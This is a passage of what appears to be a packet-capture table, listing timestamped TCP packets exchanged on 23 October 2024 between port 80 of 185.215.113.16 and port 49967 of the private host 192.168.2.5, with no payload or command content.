Oct 23, 2024 15:49:13.544864893 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.544891119 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.544908047 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.544919968 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.544956923 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.544994116 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545005083 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545013905 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545026064 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545037031 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545047998 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545059919 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545075893 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.545077085 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.545077085 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.545099020 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.545113087 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545124054 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545134068 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545155048 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.545176029 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545181990 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.545214891 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545214891 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.545227051 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545258999 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.545294046 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545305967 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545315981 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545321941 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545326948 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545351028 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.545383930 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.545464993 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545495033 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545511007 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545516968 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.545525074 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545536995 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545545101 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.545557022 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.545588017 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.545636892 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545650005 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545660973 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545670986 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545682907 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545689106 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.545716047 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.545731068 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.545763969 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545798063 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545809031 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545809984 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.545839071 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.545850992 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.545862913 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545875072 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545885086 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545897007 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545907021 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.545914888 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.545947075 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.546036959 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.546055079 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.546065092 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.546083927 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.546109915 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.546109915 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.546125889 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.546152115 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.546180964 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.546184063 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.546195984 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.546206951 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.546219110 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.546230078 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.546236992 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.546261072 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.546263933 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.546272993 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.546282053 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.546312094 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.546334982 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.546381950 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.563997030 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.564007998 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.564017057 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.564161062 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.569915056 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.569926023 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.569935083 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.569977045 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.569993973 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.584877014 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.584902048 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.584912062 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.584920883 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.584950924 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.584966898 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.617458105 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.617480040 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.617508888 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.617526054 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.617547035 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.650479078 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.650551081 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.650552034 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.650592089 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.650604963 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.650641918 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.650645971 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.650684118 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.650696993 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.650719881 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.650728941 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.650755882 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.650768995 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.650791883 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.650808096 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.650827885 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.650842905 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.650862932 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.650876045 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.650897980 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.650911093 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.650933027 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.650945902 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.650968075 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.650981903 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.651005030 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.651011944 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.651040077 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.651047945 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.651073933 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.651092052 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.651113987 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.651124954 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.651144981 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.651165009 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.651185989 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.660141945 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660170078 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660192013 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.660208941 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.660229921 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660243034 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660253048 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660278082 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.660306931 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.660317898 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660330057 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660340071 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660353899 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660366058 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660366058 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.660393953 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.660403013 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660417080 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.660438061 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660443068 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.660450935 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660464048 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660475969 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660478115 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.660499096 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.660526037 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.660561085 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660573006 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660583973 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660609961 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.660626888 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.660648108 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660660028 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660700083 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.660770893 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660821915 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.660821915 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660856962 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660871983 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.660891056 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660902023 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.660933971 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.660943031 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660976887 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.660990953 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.661010981 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.661026955 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.661046028 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.661055088 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.661092997 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.661098957 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.661133051 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.661148071 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.661175013 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.661185980 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.661218882 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.661250114 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.661257982 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.661269903 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.661293030 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.661309004 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.661335945 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.661345959 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.661393881 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.661397934 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.661436081 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.661467075 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.661468029 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.661480904 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.661500931 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.661510944 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.661545038 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.661552906 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.661586046 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.661602974 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.661619902 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.661629915 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.661669970 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.661720991 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.661773920 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.661773920 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.661824942 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.661828041 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.661860943 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.661876917 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.661895037 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.661907911 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.661943913 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.661947966 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.661978006 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.661998987 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.662019014 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.662028074 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.662061930 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.662076950 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.662097931 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.662106037 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.662132978 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.662149906 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.662167072 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.662178993 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.662201881 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.662211895 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.662239075 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.662252903 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.662273884 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.662286043 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.662302971 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.662323952 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.662337065 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.662348032 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.662374020 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.662393093 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.662409067 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.662419081 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.662444115 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.662455082 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.662477970 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.662491083 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.662513018 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.662528992 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.662548065 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.662555933 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.662581921 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.662595987 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.662630081 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.679366112 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.679404020 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.679436922 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.679552078 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.685606956 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.685619116 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.685628891 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.685684919 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.685704947 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.700438023 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.700463057 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.700473070 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.700522900 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.700522900 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.733477116 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.733562946 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.733572960 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.733606100 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.733623028 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.733654976 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.733695030 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.733913898 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.765482903 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.765547037 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.765588999 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.765640974 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.765675068 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.765708923 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.765711069 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.765743017 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.765754938 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.765777111 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.765794992 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.765808105 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.765844107 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.765847921 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.765883923 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.765892982 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.765918016 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.765930891 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.765961885 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.765970945 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.766015053 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.766022921 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.766072035 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.766102076 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.766136885 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.766160011 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.766175032 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.766184092 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.766210079 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.766221046 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.766243935 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.766256094 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.766282082 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.766293049 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.766335964 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.776361942 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.776424885 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.776457071 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.776487112 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.776500940 CEST	80	49967	185.215.113.16	192.168.2.5
Oct 23, 2024 15:49:13.776504040 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.776527882 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.776546955 CEST	49967	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:49:13.776590109 CEST	80	49967	185.215.113.16	192.168.2.5
